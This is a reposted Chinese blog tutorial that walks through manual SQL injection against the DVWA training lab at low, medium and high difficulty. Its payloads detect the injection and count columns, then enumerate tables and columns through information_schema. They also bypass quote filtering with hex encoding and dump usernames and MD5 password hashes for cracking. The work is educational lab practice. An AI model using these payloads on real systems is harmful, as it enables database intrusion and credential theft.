DVWA sql手注学习(巨详细不含sqlmap)

news2024/10/6 6:15:44

这篇文章主要记录学习sql注入的过程中遇到的问题已经一点学习感悟,过程图片会比较多,比较基础和详细,不存在看不懂哪一步的过程

文章目录

  • 靶场介绍
  • SQL注入 low
  • SQL注入 Medium
  • SQL注入 High
  • SQL注入 Impossible

靶场介绍

DVWA(Damn Vulnerable Web Application)是一个专为安全专业人员、开发人员和学生设计的网络安全靶场。它是一个基于PHP/MySQL的开源Web应用程序,模拟了一个典型的Web应用程序环境,并包含了多种常见的Web安全漏洞,如SQL注入、跨站脚本攻击(XSS)、文件上传漏洞、命令注入等。这些漏洞被故意设计出来,用于安全教育和渗透测试训练。

SQL注入 low

输入1,正常回显,观察URL明显是get请求传递的参数。
在这里插入图片描述

测试是否存在sql注入,这里用 ’ 来测(虽然这个是靶场,我们已经知道存在sql注入漏洞,我为了理清思路,这里完整的复述一遍)
在这里插入图片描述
这里报错了,说明这个网页存在sql注入的漏洞
在这里插入图片描述
测一下漏洞是字符型还是数字型

1 and 1=1
1 and 1=2
1' and 1=1#
1' and 1=2#
(有的地方用--+有的地方可以用--+注释,有的地方可以用#注释,这里只能用#注释)

前两个都正常回显
在这里插入图片描述
在这里插入图片描述
这里我们猜测一下数据库的搜索语句应该是这样的,那么应该是字符型
在这里插入图片描述
1’ and 1=1#正常回显
在这里插入图片描述

1’ and 1=2#回显异常了
在这里插入图片描述
这里我们接着想一想后端的sql搜索语句是怎么写的,如下图,当前面闭合后,执行后面的1=1,会正常回显内容,当你1=2时,永假,页面肯定回显异常。到这里就可以判断一定是字符型的注入了。
在这里插入图片描述
到这一步基本上我们找到了闭合,可以开始注入了。
ps:到了这儿,该如何注入就得看各位师父们的手法和技巧了,高超的技巧往往能更快更方便注入。

1' order by 
-1' union select 1,2#

这里的意思就是说联合注入,我们后面查询的1,2两个字段的数据显示在页面的哪个位置,搞清楚了位置我们就可以通过替换1,2字段的查询语句来进行数据库的信息的探测。
在这里插入图片描述
探测数据库名

 -1' union select database(),2#

在这里插入图片描述
探测表名

1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

在这里插入图片描述
探测表中字段名

1' and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

在这里插入图片描述
获取数据(密码均为md5加密,各位可以去网上用md5解密网站跑,简单的一般不用收费)

1' and 1=2 union select user,password from users#

在这里插入图片描述
好了到此,low级别的sql注入已经差不多完成了,后面的中级和高级最后过程就不赘述,只寻找到闭合。

SQL注入 Medium

我们先观察一下页面,只能让你选择你的id,不让你输入了,使用post传参,我们可以用burp suite来抓包实现修改post数据
在这里插入图片描述
数据包如下:
在这里插入图片描述
分析到这里后,其实其他步骤跟low级别就差不多了

测有无sql漏洞:
id=1'&Submit=Submit测有无sql
判断类型:
id=1' and 1=1#&Submit=Submit
id=1' and 1=2#&Submit=Submit
id=1 or 1=1#&Submit=Submi

如此可以测出来,存在数字型的sql注入漏洞
在这里插入图片描述
测试代码如下:

id=1 and 1=1 order by 3&Submit=Submit
id=1 and 1=1 order by 2&Submit=Submit
id=1 union select 1,2&Submit=Submit
id=1 union select 1,database()#&Submit=Submit
id=1 union select 1,table_name from information_schema.tables where table_schema=database()#&Submit=Submit
id=1 union select 1,column_name from information_schema.columns where table_name='users'#&Submit=Submit

这里要就能体现,medium和low有什么区别了。我们探测user表中的字段数时,发现sql语句报错了,说明后端做了过滤。我们点开源代码看看后端做了什么限制。
在这里插入图片描述
说明他可能过滤掉了我们的单引号,但是这种过滤其实也没啥太大用处,毕竟换个十六进制加密就能写进去。

id=1 union select 1,column_name from information_schema.columns where table_name=0x5553455253#&Submit=Submit

在这里插入图片描述

id=1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #&Submit=Submit

在这里插入图片描述

SQL注入 High

这里我们先审一下后端的代码,这里做的限制只要是limit 1,给你一个回复,而且你提交数据的页面和它显示给你的界面不是同一个,这样做是防止sqlmap等自动化扫描工具的批量扫描。然而其他的跟low级别基本上差不太多。
在这里插入图片描述
我们直接用low级别的payload也可以直接获取到他的数据库信息。
在这里插入图片描述

SQL注入 Impossible

关于这个难度,本人的php水平有限,等后期php的水平提升了再来审一下这个靶场的后端代码,这里先搁置在这里。csdn中很有很多大佬做了代码审计,各位感兴趣可以自行搜索。(QAQ)

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1895488.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

巴图自动化Modbus协议转Profinet协议网关模块连智能仪表与PLC通讯

一、现场要求:PLC作为控制器,仪表设备作为执行设备。执行设备可以实时响应PLC传送的指令,并将数据反馈给PLC,从而实现PLC对仪表设备的控制和监控,实现对生产过程的精确控制。 二、解决方案:通过巴图自动化Modbus协议转Profinet协议…

C++ 智能指针内存泄漏问题

shared_ptr相互嵌套导致循环引用 代码示例 #include <iostream> #include <memory> using namespace std;class B;class A { public:std::shared_ptr<B> b_ptr;~A() { std::cout << "A destroyed\n"; } };class B { public:std::shared_pt…

明星代言6个提升企业形象的杀手锏-华媒舍

在当今竞争激烈的商业世界中&#xff0c;企业形象的塑造对于品牌的发展至关重要。而明星代言作为一种常见的营销手段&#xff0c;被广泛使用来提升企业形象和产品销售。本文将介绍明星代言的六个杀手锏&#xff0c;帮助您了解如何通过明星代言来提升企业形象。 1. 拥有广泛的影…

PCB设计时,信号走线要先过ESD/TVS管,这是为什么?

目录 为什么有上面这个问题&#xff1f; 问题的原因——走线电感 走线电感的阻抗 电感的影响 小结 都说接口处的信号要先过ESD/TVS管&#xff0c;然后拉到被保护器件&#xff0c;为什么不这样做效果就不好&#xff1f;那如果受板子实际情况限制&#xff0c;必须这样layout…

专题二:Spring源码编译

目录 下载源码 配置Gradle 配置环境变量 配置setting文件 配置Spring源码 配置文件调整 问题解决 完整配置 gradel.properties build.gradle settiings.gradel 在专题一&#xff1a; Spring生态初探中我们从整体模块对Spring有个整体的印象&#xff0c;现在正式从最…

经典卷积神经网络 LeNet

一、实例图片 #我们传入的是28*28&#xff0c;所以加了padding net nn.Sequential(nn.Conv2d(1, 6, kernel_size5, padding2), nn.Sigmoid(),nn.AvgPool2d(kernel_size2, stride2),nn.Conv2d(6, 16, kernel_size5), nn.Sigmoid(),nn.AvgPool2d(kernel_size2, stride2),nn.Flat…

Android EditText的属性与用法

EditText 是编辑框控件&#xff0c;可以接收用户输入&#xff0c;并在程序中对用户输入进行处理。EditText在App里随处可见&#xff0c;在进行搜索、聊天、拨号等需要输入信息的场合&#xff0c;都可以使用 EditText。 图1 编辑框示意图 EditText 是TextView的子类&#xff0c…

吴恩达深度学习笔记:机器学习策略(2)(ML Strategy (2)) 2.5-2.6

目录 第三门课 结构化机器学习项目&#xff08;Structuring Machine Learning Projects&#xff09;第二周&#xff1a;机器学习策略&#xff08;2&#xff09;(ML Strategy (2))2.5 数据分布不匹配时的偏差与方差的分析&#xff08;Bias and Variance with mismatched data di…

下载安装MySQL

1.软件的下载 打开官网下载mysql-installer-community-8.0.37.0.msi 2.软件的安装 mysql下载完成后&#xff0c;找到下载文件&#xff0c;双击安装 3.配置环境变量 4.自带客户端登录与退出

CSS filter(滤镜)属性,并实现页面置灰效果

目录 一、filter&#xff08;滤镜&#xff09;属性 二、准备工作 三、常用的filter属性值 1、blur(px) 2、brightness(%) 3、contrast(%) 4、grayscale(%) 5、opacity(%) 6、saturate(%) 7、sepia(%) 8、invert(%) 9、hue-rotate(deg) 10、drop-shadow(h-shadow v…

前端JS 插件实现下载【js-tool-big-box,下载大文件(fetch请求 + 下载功能版)

上一节&#xff0c;我们添加了下载大文件的纯功能版&#xff0c;意思就是需要开发者&#xff0c;在自己项目里发送请求&#xff0c;请求成功后&#xff0c;获取文件流的blob数据&#xff0c;然后 js-tool-big-box 帮助下载。 但考虑到&#xff0c;有些项目&#xff0c;可能比较…

装饰模式解析:基本概念和实例教程

目录 装饰模式装饰模式结构装饰模式应用场景装饰模式优缺点练手题目题目描述输入描述输出描述题解 装饰模式 装饰模式&#xff0c;又称装饰者模式、装饰器模式&#xff0c;是一种结构型设计模式&#xff0c;允许你通过将对象放入包含行为的特殊封装对象中来为原对象绑定新的行…

面试篇-Redis-1缓存三兄弟+数据一致性

文章目录 前言一、你们项目中使用Redis都做了什么&#xff1a;二、使用过程中遇到缓存穿透&#xff0c;缓存击穿&#xff0c;缓存雪崩你们如何处理&#xff1a;2.1 缓存穿透&#xff1a;2.1.1 通过缓存key值为null 进行处理&#xff1a;2.1.2 使用布隆过滤器&#xff1a;2.1.3 …

OpenCV基础(2)

目录 滤波处理 均值滤波 基本原理 函数用法 程序示例 高斯滤波 基本原理 函数用法 程序示例 中值滤波 基本原理 函数用法 程序示例 形态学 腐蚀 膨胀 通用形态学函数 前言&#xff1a;本部分是上一篇文章的延续&#xff0c;前面部分请查看&#xff1a;OpenCV…

深入理解如何撤销 Git 中不想提交的文件

个人名片 &#x1f393;作者简介&#xff1a;java领域优质创作者 &#x1f310;个人主页&#xff1a;码农阿豪 &#x1f4de;工作室&#xff1a;新空间代码工作室&#xff08;提供各种软件服务&#xff09; &#x1f48c;个人邮箱&#xff1a;[2435024119qq.com] &#x1f4f1…

图增强LLM + 可穿戴设备实时数据,生成个性化健康见解

图增强LLM 可穿戴设备实时数据&#xff0c;生成个性化健康见解 提出背景图增强LLM 子解法1&#xff08;使用层次图模型&#xff09; 子解法2&#xff08;动态数据整合&#xff09; 子解法3&#xff08;LLM引导评估&#xff09; 提出背景 论文&#xff1a;https://arxiv.or…

【js正则】去除文本中的a标签及其内容

场景&#xff1a;有时候服务端返回的文本中&#xff0c;包含a标签&#xff0c;前端不需要展示。 // 示例 const inputText 【提醒&#xff1a;XXXX】\nXXXXXX: 1\n\n<a href"https://export.shobserver.com/baijiahao/html/767805.html">详情</a>;JS正…

【营销策划模型大全】私域运营必备

营销策划模型大全&#xff1a;战略屋品牌屋、电商运营模型、营销战略、新媒体运营模型、品牌模型、私域运营模型…… 该文档是一份策划总监工作模型的汇总&#xff0c;包括战略屋/品牌屋模型、营销战略模型、品牌相关模型、电商运营模型、新媒体运营模型和私域运营模型等&…

JavaScript基础-函数(完整版)

文章目录 函数基本使用函数提升函数参数arguments对象&#xff08;了解&#xff09;剩余参数(重点)展开运算符(...) 逻辑中断函数参数-默认参数函数返回值-return作用域(scope)全局作用域局部作用域变量的访问原则垃圾回收机制闭包 匿名函数函数表达式立即执行函数 箭头函数箭头…

全自动内衣洗衣机什么牌子好?四大热门内衣洗衣机多角度测评

内衣洗衣机是近几年新兴的一种家用电器产品&#xff0c;正日益引起人们的重视。但是&#xff0c;面对市面上品牌繁多、款式繁多的内衣洗衣机&#xff0c;使得很多人都不知道该如何选择。身为一个数码家电博主&#xff0c;我知道这类产品在挑选方面有着比较深入的了解。为此&…